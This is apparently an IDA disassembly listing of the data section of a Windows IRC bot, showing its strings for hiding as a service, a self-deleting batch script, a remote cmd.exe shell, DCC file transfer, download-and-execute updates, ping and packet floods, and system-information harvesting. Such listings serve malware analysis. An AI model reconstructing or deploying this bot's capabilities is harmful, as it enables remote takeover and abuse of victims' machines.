aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; ___:0042F8D8o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4B+3	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------

loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
